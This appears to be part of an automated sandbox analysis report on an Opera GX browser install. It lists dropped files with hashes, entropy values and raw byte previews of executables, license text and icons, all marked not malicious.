                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."......2H..V........,........@..............................Z.....p4Y...`..........................................iR.Y....iR.......X..`....V.T7....X..)...`Z..B...'R.8....................%R.(... cH.@............{R......iR.@....................text...%0H......2H................. ..`.rdata...+...PH..,...6H.............@..@.data...Tx....S......bS.............@....pdata..T7....V..8...pT.............@..@.gxfg...04...@X..6....V.............@..@.retplne......X.......V..................tls....a.....X.......V.............@...CPADinfo@.....X.......V.............@...LZMADEC.......X.......V............. ..`_RDATA........X.......V.............@..@malloc_h......X.......V............. ..`.rsrc....`....X..b....V.............@..@.reloc...B...`Z..D...^X.............@..B................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.licenses

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):14004
                                                                                                                                                                                                              Entropy (8bit):5.037159328058129
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:384:SrNYrOXburxrs4rsFm1DLTryOibEYI3WSOZzxrsCrsRm1DLY7/ymu:KYXtBLDLTryLQ4ZllRDLs/ymu
                                                                                                                                                                                                              MD5:2528B26988213FE5C0EE9CE75ACC2935
                                                                                                                                                                                                              SHA1:D45F0A12E3E0DE6137AE389C7DD680295ADA2A68
                                                                                                                                                                                                              SHA-256:42E58027E502EDAE71B2065ED0A6AB057907C41124C220E54AB75EAA84B0B0E7
                                                                                                                                                                                                              SHA-512:F99295BD23D475D854DD872521F385568EDF28E4DB778F82A03F00FCD7061394A48D3C1644B5817FADFA31BDBCB53AD131ABDB6DD11F8E615020C26A1A970F72
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:This software includes the following third party libraries/code portions:.. - libcurl, which is covered by the following license:..COPYRIGHT AND PERMISSION NOTICE..Copyright (c) 1996 - 2012, Daniel Stenberg, <daniel@haxx.se>...All rights reserved...Permission to use, copy, modify, and distribute this software for any purpose.with or without fee is hereby granted, provided that the above copyright.notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN.NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,.DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE.OR OTHER DEALINGS IN THE SOFTWARE...Except as contained in this notice, the name of a copyright

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.licenses.1728808435.old (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):14004
                                                                                                                                                                                                              Entropy (8bit):5.037159328058129
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:384:SrNYrOXburxrs4rsFm1DLTryOibEYI3WSOZzxrsCrsRm1DLY7/ymu:KYXtBLDLTryLQ4ZllRDLs/ymu
                                                                                                                                                                                                              MD5:2528B26988213FE5C0EE9CE75ACC2935
                                                                                                                                                                                                              SHA1:D45F0A12E3E0DE6137AE389C7DD680295ADA2A68
                                                                                                                                                                                                              SHA-256:42E58027E502EDAE71B2065ED0A6AB057907C41124C220E54AB75EAA84B0B0E7
                                                                                                                                                                                                              SHA-512:F99295BD23D475D854DD872521F385568EDF28E4DB778F82A03F00FCD7061394A48D3C1644B5817FADFA31BDBCB53AD131ABDB6DD11F8E615020C26A1A970F72
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:This software includes the following third party libraries/code portions:.. - libcurl, which is covered by the following license:..COPYRIGHT AND PERMISSION NOTICE..Copyright (c) 1996 - 2012, Daniel Stenberg, <daniel@haxx.se>...All rights reserved...Permission to use, copy, modify, and distribute this software for any purpose.with or without fee is hereby granted, provided that the above copyright.notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN.NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,.DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE.OR OTHER DEALINGS IN THE SOFTWARE...Except as contained in this notice, the name of a copyright

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.version

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6
                                                                                                                                                                                                              Entropy (8bit):2.2516291673878226
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3:SWhv:SW5
                                                                                                                                                                                                              MD5:0589F66713BC44029A1A720B9A0D850D
                                                                                                                                                                                                              SHA1:2FDF7D04F0372055C9D77CA43D9A3C08798905F3
                                                                                                                                                                                                              SHA-256:64D23F858EF51B0F996E4966D4E27C0371B437E2D2787890B1F7AD22D4EC5663
                                                                                                                                                                                                              SHA-512:31B29544FC93EAC2109CD1E4A617B5D5CB361C0BA608A954E873A64648E93DD65C7B4AED7F4B687F85C47E9909852FEC93B224D929BABDE1E0145A58DEA33634
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:1.3.0.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_autoupdate.version.1728808435.old (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6
                                                                                                                                                                                                              Entropy (8bit):2.2516291673878226
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3:SWhv:SW5
                                                                                                                                                                                                              MD5:0589F66713BC44029A1A720B9A0D850D
                                                                                                                                                                                                              SHA1:2FDF7D04F0372055C9D77CA43D9A3C08798905F3
                                                                                                                                                                                                              SHA-256:64D23F858EF51B0F996E4966D4E27C0371B437E2D2787890B1F7AD22D4EC5663
                                                                                                                                                                                                              SHA-512:31B29544FC93EAC2109CD1E4A617B5D5CB361C0BA608A954E873A64648E93DD65C7B4AED7F4B687F85C47E9909852FEC93B224D929BABDE1E0145A58DEA33634
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:1.3.0.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_browser.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):227216280
                                                                                                                                                                                                              Entropy (8bit):6.7003422796822285
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:1572864:1U8wvf/Gdwu5ZlmOjC04gtQgLUX99bUseEhgx9P27yE3PIQux6Yu17yyDOZntxhv:wvIwQbSyzsHhwp
                                                                                                                                                                                                              MD5:046BBEC9A5EA49BA409B6F5FD4C7A67F
                                                                                                                                                                                                              SHA1:8C58C600797490E117B0EEBF0850457E289103D8
                                                                                                                                                                                                              SHA-256:6E7F84902C3081B111BA57569D8290E687403953E0609E156958AF1DC3BC2F7A
                                                                                                                                                                                                              SHA-512:52D2450A31F1E59AA335F0CED786558A4CF2217A8C81E87042F7D70462AF85E8AD931AD8D4EFF7C714E6F70C822F92DF1105C0D7F13B1D3C9287327A613A12F5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." ........................................................0.......~....`A.........................................G.......G................<.x.U.....)......0.......8.......................(...pV..@............]..0............................text............................... ..`.rdata..H...0.....................@..@.data.....*......B..................@....pdata..x.U...<...U..8..............@..@.gxfg... D.......F....q.............@..@.retplne..............r..................rodata...............r............. ..`.tls......... ....... r.............@...CPADinfo@....0.......0r.............@...LZMADEC......@.......2r............. ..`_RDATA.......`.......Dr.............@..@malloc_h.....p.......Fr............. ..`prot.................Lr.............@..@.rsrc................Nr.............@..@.reloc..0............6s.............@..B................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_browser.dll.sig

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1471
                                                                                                                                                                                                              Entropy (8bit):7.591932293657727
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:+iCNV9ue/BbGNo7H6lah8keReriJ8gLIcO5v4Duvw5HjgTa/ex+k5ni1+cvHITxm:+iCHMepSN078kfipLIckwFj8a/dX1+kZ
                                                                                                                                                                                                              MD5:1A5EE8AD926DA21E53F78956F31D2DE4
                                                                                                                                                                                                              SHA1:8D4634755497C6FD7DD9AB7034DD08AB4338FF61
                                                                                                                                                                                                              SHA-256:3DFE6C18BC7DAD789984412986E8E9BACCBCFE49B1186DE9F9032BCBBF6E7779
                                                                                                                                                                                                              SHA-512:879D9821C37827332B2450796C2B81F74F5687F12A6C3F3DFBE33E7B9991BEE99F06D0A2F25C41057FBA9FF8ACF90234F6B23081D3042D6C2C40A460595168EC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:....0...0................K)..3...[.40...*.H........0}1.0...U....US1.0...U....Washington1.0...U....Kirkland1.0...U....Google1.0...U....Widevine1"0 ..U....widevine-codesign-root-ca0...180627202339Z..280624202339Z0..1.0...U....PL1.0...U....DOLNOSLASKIE1.0...U....WROCLAW1.0...U....Opera Software AS1.0...U....DESKTOP1.0...U....DESKTOP PROD1'0%..*.H........wdzierzanowski@opera.com0.."0...*.H.............0.........x.....jn...)>a.....-} .v...P..S..x.>k{.........Tr..Yo.D....d.....l.v.wU. .A.W5..oor....-Vs.o.......yH.pJ...?.Whs0`....Jb....3/. tl..8c........C..Byq>h..3A8..{..p....\..n...Q.t....0mQ{j......U|.W\...........s!....K...'.....s..s....P..r8..........0..0...U.......`..\../X.l...e....w0...U.#..0....=..tW....!.B.#U).0...U....0.0...U........0...U.%..0...+.......0...+.....y........0...*.H..............D.G....gtpx.......~...v.....c..%.I.....c2Y.Y.....Y^..Aa..A.b.Y.f..Zra*.),K.....n.1r.C...Z...)....W.r.gu.Z....l......S.CF.m.Y...P.W..y.f.\,.$.>...!...FK....j....XHn.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2016664
                                                                                                                                                                                                              Entropy (8bit):6.4557648974725685
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:3JLlVnuZNfmLlH/RJ7nqVyDVOimY8WWmj/+do4DkFMkq:3JLOrEt/RJLqqHJj2dss
                                                                                                                                                                                                              MD5:55B4FA94CEB93E527EDE2947E97F07FC
                                                                                                                                                                                                              SHA1:C851F003046455501B6F27C5708B853C9D3FE856
                                                                                                                                                                                                              SHA-256:F3AAF2C06CEE65E4D979029A5D44F388BFF96C152ECE3AD951D727D30AB99B6E
                                                                                                                                                                                                              SHA-512:3F28F9400787911A9E5E3841932FF4B4F85761C06F0B84484E70501784669E67542A7C52AA76ECF317F0A2C130A1A11A084D6E96D87DCF023366AB390DE61CA0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."......~...........8.........@.............................. ......C....`.............................................\................................).............8.......................(... ...@.......................@....................text....}.......~.................. ..`.rdata..............................@..@.data................|..............@....pdata...............n..............@..@.gxfg...p-...`.......:..............@..@.retplne.............h...................tls.................j..............@...CPADinfo@............n..............@..._RDATA...............p..............@..@malloc_h.............r.............. ..`.rsrc................t..............@..@.reloc........... ...|..............@..B........................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_elf.dll

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1155480
                                                                                                                                                                                                              Entropy (8bit):6.466434741150707
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12288:CLrpYA23tXtZXPUGRJLe6W1xyX9I54TCdf0Ms/WYfv5NuihoE5:ypYA23RtZcGRJLHC49CSV1t5
                                                                                                                                                                                                              MD5:10A7AB51AE443A5DCB1C1A10F91D0CC3
                                                                                                                                                                                                              SHA1:CD61B64F839BA12569E5B26E6307988D8BF834F2
                                                                                                                                                                                                              SHA-256:86DF666A953E66C9CE19A5668EB50FC70A97520EAA6D568E630242984A578BE8
                                                                                                                                                                                                              SHA-512:2C15B96AB60B027DA00C55BA4A3CFEE34CC45D321525906D001BAF7EE623650C86EF3DA2760BE2C10EC9FC72EA62AED6C48EAE14C81724F073149C10F9333956
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........." .........b...... Z....................................................`A........................................4?......8@..(....P.......p...s...x...)...`.......0..8...................`/..(....1..@...........XD.......=.......................text...]........................... ..`.rdata...... ......................@..@.data...............................@....pdata...s...p...t..................@..@.gxfg....+.......,..................@..@.retplne..... .......Z...................tls....b....0.......\..............@..._RDATA.......@.......^..............@..@.rsrc........P.......`..............@..@.reloc.......`.......b..............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_gx_splash.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2171800
                                                                                                                                                                                                              Entropy (8bit):6.664710390016221
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:aoqdfqcNskKxVecUoEdVUJz+MRQ+wPPb98dilWN+cBzCUBhVBigOkzM4SepS8aB/:KfVKxV9jhVrRsPm11Qgfoeyd
                                                                                                                                                                                                              MD5:0523A8BE8D9145580BC2F929DC11B024
                                                                                                                                                                                                              SHA1:DB09CB98F23F80CA1C5F943768752FDA5EF13730
                                                                                                                                                                                                              SHA-256:0E4218753D5451A9C25F335B45F0EECF0B48EB6D3B92629B63CC0BE40E68DBA3
                                                                                                                                                                                                              SHA-512:BFB1584B92384F8420C9686C690F4EBE234765E1234A6BF337E4EA526A03D2FF454A157AA2D5D0D40331A49F6EBE6AB18766C4EBBE40790BA95D8AE7C7E0E750
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."......F.....................@..............................".......!...`.........................................3x..X....x...........M......Dv.... ..)....!.`...|u..8...................Pt..(....r..@...........x... ....w..@....................text....D.......F.................. ..`.rdata......`.......J..............@..@.data...l.... ......................@....pdata..Dv.......x..................@..@.gxfg...`)...0...*...f..............@..@.retplne.....`...........................tls....q....p......................@..._RDATA..............................@..@.rsrc....M.......N..................@..@.reloc..`.....!....... .............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\013E742B-287B-4228-A0B9-BD617E4E02A4.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5430
                                                                                                                                                                                                              Entropy (8bit):3.286080774872623
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:kfU8lE64vL97BnB/uBqKRxWo1suMbXWGG8Q:Q4vBFWx88B
                                                                                                                                                                                                              MD5:91A97B1678EA6F166A6ADF4370BEC2E6
                                                                                                                                                                                                              SHA1:2D4B52234F490887463B75DB53983F7133C6E46A
                                                                                                                                                                                                              SHA-256:1AC6DBE3F6EE18BAA94EF8660B41528F7B8EF79148BC7B58C21485B85476A9A9
                                                                                                                                                                                                              SHA-512:9D0855444968B4F4A777CE690776EAB00BF0DAA6AFD01B52BE96DFF2305572C133E1141FC79C07BC8DD4C739EC330813A7A737D7A7BAECEB46EBC35D33AB834A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h...&... .... .........(....... ..... ......................................... @. .>...?...?...?...?...>...@.@........................ @...>...?...?...?...?...?...?...?...?...@.. @.............. @...?...?...?...?...?...?...?...?...?...?...?...?.. @...........>...?...?...?...?...?...........?...?...?...?...?...@.......@.@.?...?...?...?...?...?...........?...?...?...?...?...?.. @. .>...?...?...?...?...?...?...........?...?...?...?...?...?...?...?...?...?...?...?...?..+K...........?...?...?...?...?...?...?...?...?...?...?...?...?..........Uo...?...?...?...?...?...?...?...?...?...?...?...?..+K..........c{......r....?...?...?...?...?...?...?...?...?...?..............9W...........?...?...?...?...?...>...?...?...?...?..........+K...?..........9W...?...?...?...>...@. .?...?...?..Uo...........?...?..9W...........?...?...?...@.@.....>...?...?..........+K...?...?...?..........9W...?...>...........@...?...?...?...?...?...?...?...?...?...?...?...?...@...............@...>...?...?...?

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\07593226-C5C5-438B-86BE-3F6361CD5B10.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):4.560345262666608
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:Xg2aJpCnnYdmnnnnnL5S1Mk/UUUUAODLMRtJ178FNffwuGN7lOzQOnA+zzzzzzzf:X4Ra5S1M2UUUUxL6AfqUg+zzzzzzzM3s
                                                                                                                                                                                                              MD5:74FDAC19593602B8D25A5E2FDB9C3051
                                                                                                                                                                                                              SHA1:81DB52E9AD1BE5946DFFA3C89F5302633A7698D2
                                                                                                                                                                                                              SHA-256:F06EBEF0B912B94D7E0AF3915F2A6B6B64F74CB60BC8AAA1104C874761A0DEE6
                                                                                                                                                                                                              SHA-512:8FFB507E46C99F1FEDE3F12C14998CD41AFA8CFC5C815756343041F1BEF6FAF7BA4429CEBEB87B0FB807D911F5516D235D5F893E519576B1FB675D25D025C21B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... ..........................xO~.xO.xO..xO..xO..xO..xO..xO..xO..xO..xO..xO...x...x...x...x..yO.t...x...x...x...x...x...x...x...x...x...]..yO{..x...x...x..{R...z...z...z.................................|S..{R...z...z...V...|...|...|.......|...|...|...|...|...|...|...h...V...|...|...[...~...~...~.......a...a...a...a...a...a...~...|..._...[<..~...a..................................................v...a.......i..............................................p...if..q......j..j..j..j..j..j...........................q...y..............................o........................y.................................u........................f................................|...............................................................................<...............................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\0CD5F3A0-8BF6-11E2-9E96-0800200C9A66.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 4 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):17542
                                                                                                                                                                                                              Entropy (8bit):2.247918084411713
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:192:9dLhJ6/f2dh+xQLeZ10TLwhwOHae6nmErcglsIZS3F:3jaOdhQQu0TLwaOHEr6IZ
                                                                                                                                                                                                              MD5:CA6619B86C2F6E6068B69BA3AADDB7E4
                                                                                                                                                                                                              SHA1:C44A1BB9D14385334EB851FBB0AFB19D961C1EE7
                                                                                                                                                                                                              SHA-256:17D02E2DB6DBEDB95DD449D06868C147AC2C3B5371497BCB9407E75336A99E09
                                                                                                                                                                                                              SHA-512:30F8F8618BFBCD57925411E6860A10B6AD9A60F2A6B08D35C870EA3F4CEC4692596A937FF1457CEFF5847D5DA2B86CEBA0200706625E28C56A2455E6A8C121D3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:......00.... ..%..F... .... ......%........ ......6........ .h....@..(...0...`..... ......%.........................................E...................................................................................................................................................?...................................$...........................................................................................................................................................................................B............................................................................r...P..........................................................................................9...............-........................................................r...................................................>......................................................................$..............................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\1AF2CDD0-8BF3-11E2-9E96-0800200C9A66.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):3.17081824784348
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:Rf/uA/659Q444gqiz40zVKir4YiqT9944bUq4k4bUq49k44bUq4pa2q4CTGhUIcG:RuLKOUVKiNiYWS3hW2QK2IaqWI5
                                                                                                                                                                                                              MD5:64AD26B9B9D8E4DA8CD564FE4843E65F
                                                                                                                                                                                                              SHA1:9D1D05134F36EBA77ED18F725BC0CA2121FA2686
                                                                                                                                                                                                              SHA-256:E5DCCC694E7F34DAF334B3A48B68DA450D5B34FE8A4E06842D864E99F400770A
                                                                                                                                                                                                              SHA-512:5F77BF6EC0D46C99E02A268E63587C9CD552B61FDB55ECE3955B50CC470EC103B06B2360EDA86BD49AA45458E1885F7A4E8256DA7B47DC8B8B343BCEF5CDCEA1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... .....@.......................................................................................................................................................................LVZ.G\e.................................................3u..PPP.PPP.PPP.PPP.:m..........................................Bbn.3w..OQR.PPP.PPP.PPP.NRS.+...................................PPP.E^g.....4t..PPQ.PPP.PPP.PPP.G\c.............................PPP.PPP.Cam.........9n..PPP.PPP.PPP.PPP.........................PPP.PPP.PPP.............6r..PPP.PPP.PPP.........................PPP.PPP.PPP.........LUY.PPP.PPP.PPP.PPP.........................PPP.PPP.PPP.....1y..PPP.PPP.G\d..|..............................PPP.PPP.PPP.....?gv.(...........................................PPP.PPP.PPP.....................................................PPP.PPP.F]e.....................................................PPP.Cal.'.....................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\1CF37043-6733-479C-9086-7B21A2292DDA.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):15086
                                                                                                                                                                                                              Entropy (8bit):2.6549496934735806
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:jjXowmb64P5OOhw4SLGepPIOV+ZCreBKWoxBRAZLSFEnZIi:HYw85Of4SppQsaIJaRI
                                                                                                                                                                                                              MD5:0342F103B6960E1565D24EABD5A6079D
                                                                                                                                                                                                              SHA1:7C6C7EF5E86A83BC7FD75729BD641244CFFC8CB4
                                                                                                                                                                                                              SHA-256:F92DC912529EB9D75655DC9C41557D2AF532425D1A6C8BAFB0879109C850F955
                                                                                                                                                                                                              SHA-512:E37D8445CE9E0AE80E1519A11831075994F1F3255A85E8883F1CC171204DD3A4CC9560655E54F1AA27B4602A44B1FB4711AE352942319D6F0714F17AB48EB2D4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h...6... .... .........00.... ..%..F...(....... ..... ..........................^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..]0..T$..T%.._2..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..........\...^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..[-..........}..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1...g..........Y*..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..W'..........g=..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..]/..............^0..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..wQ..........V'..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..V'..........wQ..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^0..............]/..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..g=..........W'..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..Y*...........f..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1...}.........[-..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..^1..\/..........^1..^1..^1..^1..^1..^1..^1..^

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\2A3F5C20-8BF5-11E2-9E96-0800200C9A66.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):15086
                                                                                                                                                                                                              Entropy (8bit):2.1885512297205745
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:96:WzjWBglIZ/GjtT33fW57FL0ZyeaCRZi+/vL:Wzw/U/W579AXpL
                                                                                                                                                                                                              MD5:2C40ED190AA02EB3A2CDC38B89F4458D
                                                                                                                                                                                                              SHA1:F6E1F3E63098CCB207CBCF5127B7619AD294A4E2
                                                                                                                                                                                                              SHA-256:FB15A61B133EC3333B377B947059550EC69304F0F9DA6FB333A54048F3E04E5D
                                                                                                                                                                                                              SHA-512:1068EE61996222DCCD50C007BDC4A99D83DCC928E22AE845D27419952854A21B716878815FDA5747B75F1226DBC478F67AD9FCF177F80E326695D603B7FE7FAE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
